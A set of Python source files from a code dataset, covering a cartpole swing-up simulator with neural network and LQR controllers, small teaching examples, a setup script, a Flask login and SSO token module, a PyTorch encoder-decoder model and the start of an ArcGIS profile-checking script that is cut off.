self.control = self.make_ext_log_controller(net)\n # integrate the ODE using scipy.integrate.\n # Fill in our u after the fact..\n y = integrate.odeint(self.derivs_dig_lb, init_state, self.time, hmax = self.dt/3) \n elif(netType == 'Parallel_simple'):\n # Long short-term memory\n self.control = self.make_log_controller(net)\n # integrate the ODE using scipy.integrate.\n # Fill in our u after the fact..\n y = integrate.odeint(self.derivs_dig, init_state, self.time, hmax = self.dt/3) \n elif(netType == 'LQR'):\n # Only LQR\n self.control = self.make_LQR_controller()\n y = integrate.odeint(self.derivs_dig, init_state, self.time, hmax = self.dt/3) \n \n return y, self.u_hist\n \n # @jit(nopython=False)\n def control(self, q):\n \"\"\"\n This is where you should define the control for the cartpole, called by derivs.\n\n By default, implements a swingup controller for the cartpole based on energy shaping. Switches to an LQR to\n balance the pendulum\n\n :param q: numpy array of state variables [theta, x, thetadot, xdot]\n :return: u, the control torque in N*m\n \"\"\"\n\n if (q[0] < 140 * pi/180) or (q[0] > 220 * pi/180 ):\n # swing up\n # energy error: Ee\n Ee = 0.5 * self.mp * self.L * self.L * q[2] ** 2 - self.mp * self.g * self.L * (1 + cos(q[0]))\n # energy control gain:\n k = 0.23\n # input acceleration: A (of cart)\n A = k * Ee * cos(q[0]) * q[2]\n # convert A to u (using EOM)\n delta = self.mp * sin(q[0]) ** 2 + self.mc\n u = A * delta - self.mp * self.L * (q[2] ** 2) * sin(q[0]) - self.mp * self.g * sin(q[2]) * cos(q[2])\n else:\n # balancing\n # LQR: K values from MATLAB\n k1 = 140.560\n k2 = -3.162\n k3 = 41.772\n k4 = -8.314\n u = -(k1 * (q[0] - pi) + k2 * q[1] + k3 * q[2] + k4 * q[3])\n return min(self.u_max, max(-self.u_max,u))\n \n # @jit(nopython=False)\n def controlES(self, q):\n \"\"\"\n This is where you should define the control for the cartpole, called by derivs.\n\n By default, implements a swingup controller for the cartpole based on energy shaping. Switches to an LQR to\n balance the pendulum\n\n :param q: numpy array of state variables [theta, x, thetadot, xdot]\n :return: u, the control torque in N*m\n \"\"\"\n\n if (q[0] < 140 * pi/180) or (q[0] > 220 * pi/180 ):\n # swing up\n # energy error: Ee\n Ee = 0.5 * self.mp * self.L * self.L * q[2] ** 2 - self.mp * self.g * self.L * (1 + cos(q[0]))\n # energy control gain:\n k = 0.23\n # input acceleration: A (of cart)\n A = k * Ee * cos(q[0]) * q[2]\n # convert A to u (using EOM)\n delta = self.mp * sin(q[0]) ** 2 + self.mc\n u = A * delta - self.mp * self.L * (q[2] ** 2) * sin(q[0]) - self.mp * self.g * sin(q[2]) * cos(q[2])\n else:\n # balancing\n # LQR: K values from MATLAB\n k1 = 140.560\n k2 = -3.162\n k3 = 41.772\n k4 = -8.314\n u = -(k1 * (q[0] - pi) + k2 * q[1] + k3 * q[2] + k4 * q[3])\n return min(self.u_max, max(-self.u_max,u))\n \n # an ugly hack TODO make this and the one above compatible\n def make_ff_controller(self, model):\n def nn_controller(q):\n if ((q[0] < (140 * (pi/180)) ) or (q[0] > (220 * (pi/180)))) or self.flag_LQR:\n u = model.predict(q.reshape(1,4))\n u = u[0][0]\n else:\n # balancing\n # LQR: K values from MATLAB\n k1 = 140.560\n k2 = -3.162\n k3 = 41.772\n k4 = -8.314\n u = -(k1 * (q[0] - pi) + k2 * q[1] + k3 * q[2] + k4 * q[3])\n return min(self.u_max, max(-self.u_max,u))\n \n return nn_controller\n \n def make_fflb_controller(self, model):\n def nn_controller(q):\n if ((q[0,self.look_back-1] < (140 * (pi/180)) ) or (q[0,self.look_back-1] > (220 * (pi/180)))) or self.flag_LQR:\n u = model.predict(q.reshape(1,q.shape[0],q.shape[1]))\n u = u[0][0]\n else:\n # balancing\n # lqr: k values from matlab\n k1 = 140.560\n k2 = -3.162\n k3 = 41.772\n k4 = -8.314\n u = -(k1 * (q[0,self.look_back-1] - pi) + k2 * q[1,self.look_back-1] + k3 * q[2,self.look_back-1] + k4 * q[3,self.look_back-1])\n return min(self.u_max, max(-self.u_max,u))\n \n return nn_controller\n \n def make_lstm_controller(self, model):\n def nn_controller(q):\n if ((q[0,self.look_back-1] < (140 * (pi/180)) ) or (q[0,self.look_back-1] > (220 * (pi/180)))) or self.flag_LQR:\n q = np.swapaxes(q,0,1)\n u = model.predict(q.reshape(1,q.shape[0],q.shape[1]))\n u = u[0][0]\n else:\n # balancing\n # lqr: k values from matlab\n k1 = 140.560\n k2 = -3.162\n k3 = 41.772\n k4 = -8.314\n u = -(k1 * (q[0,self.look_back-1] - pi) + k2 * q[1,self.look_back-1] + k3 * q[2,self.look_back-1] + k4 * q[3,self.look_back-1])\n return min(self.u_max, max(-self.u_max,u))\n \n return nn_controller\n \n def make_LQR_controller(self):\n def nn_controller(q):\n # balancing\n # LQR: K values from MATLAB\n k1 = 140.560\n k2 = -3.162\n k3 = 41.772\n k4 = -8.314\n u = -(k1 * (q[0] - pi) + k2 * q[1] + k3 * q[2] + k4 * q[3])\n return min(self.u_max, max(-self.u_max,u))\n return nn_controller \n\n # an ugly hack TODO make this and the one above compatible\n def make_log_controller(self, model):\n def nn_controller(q):\n if ((q[0] < (140 * (pi/180)) ) or (q[0] > (220 * (pi/180)))):\n u = model.predict([q.reshape(1,4), np.array([[0,1]])])\n u = u[0][0]\n else:\n u = model.predict([q.reshape(1,4), np.array([[1,0]])])\n u = u[0][0]\n return min(self.u_max, max(-self.u_max,u))\n \n return nn_controller \n \n def make_ext_log_controller(self, model):\n def nn_controller(q):\n if ((q[0,self.look_back-1] < (140 * (pi/180)) ) or (q[0,self.look_back-1] > (220 * (pi/180)))):\n q = np.swapaxes(q,0,1)\n u = model.predict([q.reshape(1,q.shape[0],q.shape[1]), np.array([[0,1]])])\n u = u[0][0]\n else:\n q = np.swapaxes(q,0,1)\n u = model.predict([q.reshape(1,q.shape[0],q.shape[1]), np.array([[1,0]])])\n u = u[0][0]\n return min(self.u_max, max(-self.u_max,u))\n return nn_controller \n \n def expert(self, y):\n u = np.zeros((y.shape[0],1))\n for t in range(len(self.time)):\n u[t] = self.controlES(y[t])\n return u\n\n # state vector: q = transpose([theta, x, d(theta)/dt, dx/dt])\n # @jit(nopython=False)\n \n def derivs(self, q, t):\n \"\"\"\n Implements the dynamics for our cartpole, you need to integrate this yourself with E.G:\n\n y = integrate.odeint(bot.derivs, init_state, time)\n\n or whatever other ode solver you prefer.\n\n\n :param q: numpy array of state variables [theta, x, thetadot, xdot]\n :param t: float with the current time (not actually used but most ODE solvers want to pass this in anyway)\n :return: numpy array with the derivatives of the current state variable [thetadot, xdot, theta2dot, x2dot]\n \"\"\"\n if(self.verbose):\n print('Time', t) \n dqdt = np.zeros_like(q)\n\n # control input\n u = self.control(q)\n \n self.u_hist.append(u)\n\n delta = self.mp * sin(q[0]) ** 2 + self.mc\n\n dqdt[0] = q[2]\n dqdt[1] = q[3]\n\n dqdt[2] = - self.mp * (q[2] ** 2) * sin(q[0]) * cos(q[0]) / delta \\\n - (self.mp + self.mc) * self.g * sin(q[0]) / delta / self.L \\\n - u * cos(q[0]) / delta / self.L\n\n dqdt[3] = self.mp * self.L * (q[2] ** 2) * sin(q[0]) / delta \\\n + self.mp * self.L * self.g * sin(q[0]) * cos(q[0]) / delta / self. L \\\n + u / delta\n \n return dqdt\n \n def derivs_dig(self, q, t):\n \"\"\"\n Implements the dynamics for our cartpole, you need to integrate this yourself with E.G:\n \n y = integrate.odeint(bot.derivs, init_state, time)\n \n or whatever other ode solver you prefer.\n \n :param q: numpy array of state variables [theta, x, thetadot, xdot]\n :param t: float with the current time (not actually used but most ODE solvers want to pass this in anyway)\n :return: numpy array with the derivatives of the current state variable [thetadot, xdot, theta2dot, x2dot]\n \"\"\"\n if(self.verbose):\n print('Time', t)\n if(t>=self.tNext): #<>\n self.tNext += self.Ts*self.dt\n self.u_hold = self.control(q)\n \n self.u_hist.append(self.u_hold) \n \n dqdt = np.zeros_like(q)\n \n delta = self.mp * sin(q[0]) ** 2 + self.mc\n \n dqdt[0] = q[2]\n dqdt[1] = q[3]\n \n dqdt[2] = - self.mp * (q[2] ** 2) * sin(q[0]) * cos(q[0]) / delta \\\n - (self.mp + self.mc) * self.g * sin(q[0]) / delta / self.L \\\n - self.u_hold * cos(q[0]) / delta / self.L\n \n dqdt[3] = self.mp * self.L * (q[2] ** 2) * sin(q[0]) / delta \\\n + self.mp * self.L * self.g * sin(q[0]) * cos(q[0]) / delta / self. L \\\n + self.u_hold / delta\n \n return dqdt\n \n def derivs_dig_lb(self, q, t):\n \"\"\"\n Implements the dynamics for our cartpole, you need to integrate this yourself with E.G:\n\n y = integrate.odeint(bot.derivs, init_state, time)\n\n or whatever other ode solver you prefer.\n\n\n :param q: numpy array of state variables [theta, x, thetadot, xdot]\n :param t: float with the current time (not actually used but most ODE solvers want to pass this in anyway)\n :return: numpy array with the derivatives of the current state variable [thetadot, xdot, theta2dot, x2dot]\n \"\"\"\n if(self.verbose):\n print('Time', t)\n if(t==0):\n z_ext = np.zeros((q.size,(self.look_back-1)*self.Ts))\n self.y_lb = np.concatenate((z_ext, q[:,np.newaxis]), axis=1) \n self.tNext = self.Ts*self.dt\n self.u_lb = self.control(self.y_lb)\n else:\n if(t>=self.tNext): #<>\n self.tNext += self.Ts*self.dt\n self.y_lb = np.concatenate((self.y_lb[:,1:],q[:,np.newaxis]), axis=1)\n self.u_lb = self.control(self.y_lb)\n \n self.u_hist.append(self.u_lb)\n \n dqdt = np.zeros_like(q)\n \n delta = self.mp * sin(q[0]) ** 2 + self.mc\n\n dqdt[0] = q[2]\n dqdt[1] = q[3]\n \n dqdt[2] = - self.mp * (q[2] ** 2) * sin(q[0]) * cos(q[0]) / delta \\\n - (self.mp + self.mc) * self.g * sin(q[0]) / delta / self.L \\\n - self.u_lb * cos(q[0]) / delta / self.L\n \n dqdt[3] = self.mp * self.L * (q[2] ** 2) * sin(q[0]) / delta \\\n + self.mp * self.L * self.g * sin(q[0]) * cos(q[0]) / delta / self. L \\\n + self.u_lb / delta\n \n return dqdt\n\n def calc_feat(self, y):\n \"\"\" Calculate time after which magnitude of state - final_state is smaller than the magnitude of final_state_dev-final_state\n \"\"\"\n # remove sign\n y_abs = np.abs(y)\n # remove periodicity of angle\n y_abs[:,0] = np.mod(y_abs[:,0], 2*pi)\n \n err = np.sqrt(np.sum((y_abs-self.final_state)**2,1))\n \n t_err = None\n for i in range(0,len(err)):\n if((err[i]<=self.err_final)&(t_err==None)):\n t_err = self.time[i]\n if(self.err_final 100000: # 退出循环的条件\n raise StopIteration()\n return self.a # 返回下一个值\n def __getitem__(self, n):\n a, b = 1, 1\n for x in range(n):\n a, b = b, a + b\n return a\n\nif __name__ == '__main__':\n for n in Fib():\n print(n)\n print(Fib()[100])\n from enum import Enum\n\n Month = Enum('Month', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'))\n for name, member in Month.__members__.items():\n print(name, '=>', member, ',', member.value)","sub_path":"Custom_class.py","file_name":"Custom_class.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"612455163","text":"#!/usr/bin/python3\n\n# One example usage of descriptors may be to delay initialization of the\n# class attribute to the moment when it is accessed from the instance.\n# This may be useful if initialization of such attributes depends on the \n# global application context. The other is when such initializatino is \n# simply expensive but it is not known whether it will be used anyway\n# when the class is imported. Such a descriptor could be implemented \n# as follows:\n\nclass InitOnAccess:\n def __init__(self, klass, *args, **kwargs):\n self.klass = klass\n self.args = args\n self.kwargs = kwargs\n self._initialized = None ################\n def __get__(self, instance, owner):\n if sef._initialized is None:\n print('initialized!')\n self._initialized = self.klass(*self.args, **self.kwargs)\n else:\n print('cached!')\n return self._initialized\n\n# Example:\n\n# >>> class MyClass:\n# lazily_initialized = InitOnAccess(list, \"argument\")\n# ...\n# >>> m = MyClass()\n# >>> m.lazily_initialized\n# initialized!\n# ['a', 'r', 'g', 'u', 'm', 'e', 'n', 't']\n# >>> m.lazily_initialized\n# cached!\n# ['a', 'r', 'g', 'u', 'm', 'e', 'n', 't']\n# >>> mlazily_initialized\n","sub_path":"Chapter3/initOnAccess.py","file_name":"initOnAccess.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"428545391","text":"#!/usr/bin/env python\n# -*- mode: Python; indent-tabs-mode: nil; coding: utf-8 -*-\n\n#\n# Copyright 2010, 2011 Carlos Martín\n# Copyright 2010, 2011 Universidad de Salamanca\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\n\"\"\"Main Setup File\"\"\"\n\nimport os\nimport re\nimport sys\n\nif sys.version_info < (2, 6):\n sys.stderr.write(\"Sleipnir requires Python 2.6 or higher.\")\n sys.exit(0)\n\n# Fix namespace for partial installations\nsys.path.insert(0, os.path.dirname(__file__) + os.sep + 'src')\nfrom pkg_resources import fixup_namespace_packages\nfixup_namespace_packages(sys.path[0])\n\n# setuptools build required.\nfrom os.path import normcase as _N\nfrom setuptools import setup, find_packages\n\n# Load constants\nfrom sleipnir.shell import constants\n\n# pylint: disable-msg=R0903,E0602\nclass Files(object):\n \"\"\"\n Custom Distribution Class to force creation of namespace dirs\n \"\"\"\n\n @staticmethod\n def find(walk, suffix, install):\n \"\"\"Find files that match suffix\"\"\"\n\n _files = []\n for root, _, files in os.walk(_N(walk)):\n _files.extend(((_N(install), [os.path.join(root, f)]) \\\n for f in files if f.endswith(suffix)))\n return _files\n\n\n# Peek author details\nAUTHOR, EMAIL = re.match(r'^(.*) <(.*)>$', constants.__author__).groups()\n\n# i18n files\nI18N_FILES = Files.find('data/po', '.mo', 'share/locale/constants.__appname__')\n\nsetup(\n author = AUTHOR,\n author_email = EMAIL,\n classifiers = constants.__classifiers__,\n description = constants.__summary__,\n install_requires = constants.__requires__,\n license = constants.__license__,\n long_description = constants.__long_description__,\n name = constants.__appname__,\n namespace_packages = [constants.__namespace__],\n package_dir = {'': 'src'},\n packages = find_packages(where=sys.path[0], exclude=['*frontends']),\n test_suite = 'tests',\n tests_require = [constants.__tests_requires__],\n url = constants.__url__,\n version = constants.__version__,\n zip_safe = False,\n data_files = I18N_FILES,\n entry_points = {\n 'console_scripts': [\n 'sleipnir = sleipnir.shell.runner:main',\n ],\n }\n)\n","sub_path":"pypi_install_script/sleipnir.shell-0.2.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"335707356","text":"import uuid\nfrom datetime import timedelta\nfrom functools import wraps\nfrom json.decoder import JSONDecodeError\n\nimport requests\nfrom flask import current_app, jsonify, request\nfrom mongoengine.errors import DoesNotExist\nfrom mongoengine.queryset.visitor import Q\n\nfrom nightowl.models import admin as admin_model\nfrom nightowl.utils.datetime import utc_now\nfrom nightowl.utils.security import decrypt, sha256\n\n\n# Token status codes:\n# Success status\n# 20000: OK\n# 20001: New token issued\n# 20004: Unimportant failure\n# Permissions status\n# 30001: No permissions\n# Login failed status\n# 40001: Invalid credentials\n# 40002: Unauthorized\n# 40003: Too many failures\n# 40100: Already logged in\n# 41001: Invalid token\n# 41002: Forced logout\n# 42001: Weak password\n# 59999: Server error\n\n\ndef authenticate(username, password, auth_source, client_ip):\n if auth_source != 'Local':\n return {\n 'error_code': 40001,\n 'user_message': 'Invalid credentials',\n 'admin_message': \"Invalid login source. It can only be 'Local'\",\n }\n if not username or not password:\n return {\n 'error_code': 40001,\n 'user_message': 'Invalid credentials',\n 'admin_message': 'Credentials cannot be empty',\n }\n\n try:\n user = admin_model.User.objects.get( # pylint: disable=no-member\n Q(type='Local') & (Q(username=username) | Q(email=username))\n )\n except DoesNotExist:\n return {\n 'error_code': 40001,\n 'user_message': 'Invalid credentials',\n 'admin_message': f\"User '{username}' not found\",\n }\n\n if not user.permissions:\n return {\n 'error_code': 40002,\n 'user_message': 'You are not authorized to log into this system',\n 'admin_message': 'Unauthorized',\n }\n\n if user.password != sha256(password, user.salt):\n return {\n 'error_code': 40001,\n 'user_message': 'Invalid credentials',\n }\n session_id = uuid.uuid4()\n now = utc_now()\n session = admin_model.UserSession(\n _id=session_id,\n user=user,\n client_ip=client_ip,\n login_at=now,\n expires=now + timedelta(minutes=120),\n last_accessed=now,\n )\n session.save()\n return {\n 'error_code': 20000,\n 'user_message': 'Logged in',\n 'token': session_id,\n }\n\n\ndef authorize(grant_type, client_ip=None, code=None, redirect_uri=None):\n try:\n settings = admin_model.AuthSettings.get()\n auth_settings = settings.value\n sso_settings = auth_settings.get('sso', {})\n except DoesNotExist:\n auth_settings = {'type': 'local'}\n sso_settings = {}\n\n if auth_settings.get('type') not in ('sso', 'both'):\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': 'No SSO configured',\n }\n\n salt = sso_settings['salt']\n client_secret = decrypt(sso_settings['client_secret'], salt)\n if grant_type == 'authorization_code':\n if not code:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': 'Missing code',\n }\n if not redirect_uri:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': 'Missing redirect_uri',\n }\n payload = {\n 'grant_type': 'authorization_code',\n 'code': code,\n 'client_id': sso_settings['client_id'],\n 'client_secret': client_secret,\n 'redirect_uri': redirect_uri,\n }\n elif grant_type == 'password':\n if not sso_settings['username'] or not sso_settings['password']:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': \"Missing 'username' or 'password'\",\n }\n password = decrypt(sso_settings['password'], salt)\n payload = {\n 'grant_type': 'password',\n 'username': sso_settings['username'],\n 'password': password,\n 'client_id': sso_settings['client_id'],\n 'client_secret': client_secret,\n }\n r = requests.post(\n sso_settings['token_url'], verify=sso_settings.get('verify_certificate'),\n json=payload, headers={'Accept': 'application/json'})\n if r.ok:\n response = r.json()\n else:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': f'SSO server error (sso_response={r.text})',\n }\n access_token = response.get('access_token')\n if not access_token:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': f'SSO server error (sso_response={r.text})',\n }\n if grant_type == 'password':\n return {\n 'error_code': 20000,\n 'user_message': 'Logged in',\n 'token': access_token,\n }\n\n r = requests.get(\n sso_settings['user_api_url'], verify=sso_settings.get('verify_certificate'),\n headers={'Authorization': 'Bearer ' + access_token})\n if r.ok:\n response = r.json()\n else:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': f'SSO server error (sso_response={r.text})',\n }\n user_id = response.get('_id')\n if not user_id:\n return {\n 'error_code': 59999,\n 'user_message': 'Server error',\n 'admin_message': f'SSO server error (sso_response={r.text})',\n }\n try:\n user = admin_model.User.objects.get(pk=uuid.UUID(user_id)) # pylint: disable=no-member\n except DoesNotExist:\n for group in response['groups']:\n group['_id'] = uuid.UUID(group['_id'])\n user = admin_model.User(\n _id=user_id,\n username=response['username'],\n disabled=False,\n type='SSO',\n name=response['name'],\n email=response['email'],\n immutable_groups=response['groups'],\n created_at=utc_now(),\n )\n user.save()\n\n if not user.permissions:\n return {\n 'error_code': 40002,\n 'user_message': 'You are not authorized to log into this system',\n 'admin_message': 'Unauthorized',\n }\n\n session_id = uuid.uuid4()\n now = utc_now()\n session = admin_model.UserSession(\n _id=session_id,\n user=user,\n client_ip=client_ip,\n login_at=now,\n expires=now + timedelta(minutes=120),\n last_accessed=now,\n sso_at=access_token,\n )\n session.save()\n\n return {\n 'error_code': 20000,\n 'user_message': 'Logged in',\n 'token': session_id,\n }\n\n\ndef verify_token(token):\n if not token:\n return None\n try:\n # pylint: disable=no-member\n session = admin_model.UserSession.objects.get(pk=uuid.UUID(token))\n except DoesNotExist:\n return None\n if session.expired():\n session.delete()\n return None\n return session\n\n\ndef verify_authorization(authorization):\n if not authorization:\n return None\n segs = authorization.split()\n if len(segs) != 2:\n return None\n token_type, token = segs\n if token_type.lower() != 'bearer':\n return None\n return verify_token(token)\n\n\ndef verify_permissions(user, permissions):\n lacked_permissions = user.lack(permissions)\n if lacked_permissions:\n return {\n 'error_code': 30001,\n 'user_message': 'No permissions',\n 'admin_message': f'No permissions (required={permissions}, '\n f'missed={lacked_permissions})',\n }\n else:\n return {\n 'error_code': 20000,\n 'user_message': 'Verified permissions',\n }\n\n\ndef require_auth(permissions=None):\n def wrapper_outter(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n authorization = request.headers.get('Authorization')\n session = verify_authorization(authorization)\n if not session:\n current_app.logger.info('Failed to verify token (reason=Invalid token)')\n return jsonify({'token_response': {\n 'error_code': 41001,\n 'message': 'Invalid token',\n }}), 401\n try:\n user = session.user\n if not user:\n current_app.logger.warning('Failed to verify token (reason=User not found)')\n return jsonify({'token_response': {\n 'error_code': 41001,\n 'message': 'Invalid token',\n }}), 401\n except DoesNotExist:\n current_app.logger.warning('Failed to verify token (reason=User not found)')\n return jsonify({'token_response': {\n 'error_code': 41001,\n 'message': 'Invalid token',\n }}), 401\n\n request.session = session # pylint: disable=assigning-non-slot\n request.user = session.user # pylint: disable=assigning-non-slot\n\n if permissions:\n result = verify_permissions(session.user, permissions)\n error_code = result['error_code']\n user_reason = result['user_message']\n admin_reason = result.get('admin_message', user_reason)\n if error_code != 20000:\n current_app.logger.info(f'Failed to verify permissions (reason={admin_reason})')\n return jsonify({'token_response': {\n 'error_code': error_code,\n 'message': user_reason,\n }}), 403\n else:\n current_app.logger.debug(admin_reason)\n\n # Verify SSO session\n access_token = session.sso_at\n if access_token:\n settings = admin_model.AuthSettings.get()\n sso_settings = settings.sso\n r = requests.get(sso_settings.session_api_url,\n verify=sso_settings.verify_certificate,\n headers={'Authorization': 'Bearer ' + access_token})\n try:\n response = r.json()\n error_code = response.get('error_code')\n except JSONDecodeError:\n error_code = 59999\n if error_code != 20000:\n message = 'SSO session expired'\n current_app.logger.info(message)\n result = {\n 'error_code': 41001,\n 'message': message,\n }\n session.delete()\n return jsonify({'token_response': result}), 401\n elif error_code == 59999:\n current_app.logger.error(f'SSO server error (sso_response={r.text})')\n result = {\n 'error_code': 59999,\n 'message': 'Server error',\n }\n return jsonify({'token_response': result}), 500\n\n session.refresh()\n ret = func(*args, **kwargs)\n return ret\n return wrapper\n return wrapper_outter\n","sub_path":"nightowl/auth/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"379319753","text":"import argparse\nfrom torch import nn\nfrom .attention_decoder import AttentionDecoder\nfrom .copynet_decoder import CopyNetDecoder\nfrom utils import seq_to_string, tokens_to_seq\nfrom spacy.lang.en import English\nfrom .encoder import EncoderRNN\n\n### Adds a initial word vectors option and updates to Pytorch 0.4 ###\n\nclass EncoderDecoder(nn.Module):\n def __init__(self, lang, max_length, hidden_size, embedding_size, decoder_type, device, init_weight_dict=None):\n super(EncoderDecoder, self).__init__()\n\n self.device = device\n self.lang = lang\n\n # Use a dict with word vectors for encoder if one's given\n if not init_weight_dict == None:\n self.encoder = EncoderRNN(len(self.lang.tok_to_idx),\n hidden_size,\n embedding_size,\n self.device,\n init_weight_dict,\n self.lang.tok_to_idx).to(self.device)\n else:\n self.encoder = EncoderRNN(len(self.lang.tok_to_idx),\n hidden_size,\n embedding_size,\n self.device).to(self.device)\n\n # Make a decoder of the given decoder type\n self.decoder_type = decoder_type\n decoder_hidden_size = 2 * self.encoder.hidden_size\n if self.decoder_type == 'attn':\n self.decoder = AttentionDecoder(decoder_hidden_size,\n embedding_size,\n lang,\n max_length,\n self.device).to(self.device)\n elif self.decoder_type == 'copy': # default in the code\n self.decoder = CopyNetDecoder(decoder_hidden_size,\n embedding_size,\n lang,\n max_length,\n self.device).to(self.device)\n else:\n raise ValueError(\"decoder_type must be 'attn' or 'copy'\")\n\n def forward(self, inputs, lengths, targets=None, keep_prob=1.0, teacher_forcing=0.0):\n # Simple forward pass that sends data to the encoder and then decoder\n # The encoder and decoder classes do the heavy lifting\n batch_size = inputs.data.shape[0]\n hidden = self.encoder.init_hidden(batch_size)\n encoder_outputs, hidden = self.encoder(inputs, hidden, lengths)\n decoder_outputs, sampled_idxs = self.decoder(encoder_outputs,\n inputs,\n hidden,\n targets=targets,\n teacher_forcing=teacher_forcing)\n return decoder_outputs, sampled_idxs\n\n # The below functions are from the initial code\n # When tested with the currect copynet model they didn't work\n # But feel free to uncomment these and try yourself\n '''\n def get_response(self, input_string):\n use_extended_vocab = isinstance(self.decoder, CopyNetDecoder)\n\n if not hasattr(self, 'parser_'):\n self.parser_ = English()\n\n idx_to_tok = self.lang.idx_to_tok\n tok_to_idx = self.lang.tok_to_idx\n\n input_tokens = self.parser_(' '.join(input_string.split()))\n input_tokens = [''] + [token.orth_.lower() for token in input_tokens] + ['']\n input_seq = tokens_to_seq(input_tokens, tok_to_idx, len(input_tokens), use_extended_vocab)\n input_variable = input_seq.view(1, -1)\n\n input_variable = input_variable.to(self.device)\n\n outputs, idxs = self.forward(input_variable, [len(input_seq)])\n idxs = idxs.data.view(-1)\n eos_idx = list(idxs).index(2) if 2 in list(idxs) else len(idxs)\n output_string = seq_to_string(idxs[:eos_idx + 1], idx_to_tok, input_tokens=input_tokens)\n\n return output_string\n\n def interactive(self, unsmear):\n while True:\n input_string = input(\"\\nType a message to Amy:\\n\")\n output_string = self.get_response(input_string)\n\n if unsmear:\n output_string = output_string.replace('', '')\n output_string = output_string.replace('', '')\n\n print('\\nAmy:\\n', output_string)\n '''\n","sub_path":"model/encoder_decoder.py","file_name":"encoder_decoder.py","file_ext":"py","file_size_in_byte":4532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"232160309","text":"# --------------------------------------------------------------------------\r\n# Witteveen+Bos\r\n# ing. H.E.J. Nieuwland - augustus 2018\r\n# --------------------------------------------------------------------------\r\n# versie 1.0.1\r\n# --------------------------------------------------------------------------\r\n# *.prfl tool tbv. toetsing met Ringtoets.\r\n# Voorland: kan uit meerdere punten bestaan. Tot een max van 5 punten!!\r\n# Damwand kan nog niet in Ringtoets. Dus altijd 0 punten.\r\n# Teen mag er maar 1 zijn ingetekend\r\n# Kruin mag we ook maar 1 puntzijn.\r\n# Toe te passen uitgangspunten:\r\n# o\tTaluddelen dijk: 1:8 tot 1:1\r\n# o\tBermdelen dijk: 1:100 tot 1:15\r\n# o\tde hoogte van de taluddeel punten moet oplopen vanaf de teen naar de kruin\r\n# o\tmaximaal 2 bermen, waarbij de berm wel mag bestaan uit opeenvolgende bermdelen\r\n# o\thet laagste en hoogste profieldeel sluit aan op teen respectievelijk buitenkruin, beiden zijn taluddelen\r\n# o\tafstand tussen de dijkpunten niet te klein. > 2m\r\n# o\tvoorland niet steiler dan 1:10(horizontaal of negatief mag ook)\r\n# o\tvoorlandpunten > 10m uit elkaar. (niet te veel detail)\r\n# o\thoogtes voorlandpunten altijd hoger dan hoogte van het eerste voorlandpunt.\r\n# --------------------------------------------------------------------------\r\n# update\r\n# 20180822 - Nu ook controle als het type een damwand is.\r\n# --------------------------------------------------------------------------\r\nimport string, os, sys, locale, arcpy\r\n# INPUT\r\nVakFC = sys.argv[1] # Vakken FC van waaruit het te controleren wordt geselecteerd\r\nVaknaam = sys.argv[2] # Vaknaam uit het vakken bestand\r\nKhgt = \"PRFL_KruinHgt\" # de door de gebruiker bepaalde Kruinhoogte incl. eventuele zetting\r\nIDkol = \"ID\" # Kolom met id vak Dit is de unieke koppeling tussen vak en prfl file. ID in beide moet gelijk zijn.\r\nVkol = \"Vaknaam\" # Kolom met naam vak. Vrij in te vullen vaknaam.\r\nTypekol = \"TypeDijk\" # type groene dijk of damwand \r\nkol = \"PRFLpunten\" # kolom waar het type punt in staat\r\nckol = \"PRFLcontrole\" # kolom waar controle res in wordt weggeschreven (aanmaken in FME)\r\n#---\r\nobjID = 'OBJECTID = ' # kolomnaam van OID om op te selecteren en foutmelding naar juiste punt weg te schrijven. \r\nkolommen = [\"SHAPE@X\", \"SHAPE@Y\", kol, ckol, \"OID@\"]\r\n#---\r\narcpy.env.overwriteOutput = True\r\narcpy.AddMessage(\" >>> ----------------------------------\")\r\narcpy.AddWarning(\" >>> Controleren prfl punten \")\r\narcpy.AddMessage(\" >>> ----------------------------------\")\r\n#---------------------------------------------------------\r\n#---------------------------------------------------------\r\n# ---- START\r\n#---------------------------------------------------------\r\ndef SchrijfError(expr,melding):\r\n with arcpy.da.UpdateCursor(Pshp, kolommen, where_clause=expr) as cursor:\r\n row = cursor.next()\r\n waarde = row[3]\r\n if waarde != 'ok':\r\n melding = waarde+\" / \"+melding\r\n row[3] = melding\r\n cursor.updateRow(row)\r\n del row, cursor\r\n return(True)\r\n#---------------------------------------------------------\r\narcpy.AddMessage(\" Vakken: \\n \"+VakFC)\r\n# databasedir bepalen\r\nworkspace = os.path.dirname(arcpy.Describe(VakFC).catalogPath)\r\nif [any(ext) for ext in ('.gdb', '.mdb', '.sde') if ext in os.path.splitext(workspace)]:\r\n workspace = workspace\r\nelse:\r\n workspace = os.path.dirname(workspace)\r\narcpy.env.workspace = workspace\r\noDS = workspace+\"/PRFL_DATA\"\r\n# Eerst vaknaam uitlezen om juiste prfl punten FC te selecteren.\r\n# 2 dan per vak naam uitlezen, profielnamen selecteren en lijst van maken.\r\nSkolommen = [\"OID@\", \"SHAPE@LENGTH\", IDkol, Vkol, Khgt, Typekol]\r\n# Het vak uitlezen.\r\nexpressie = 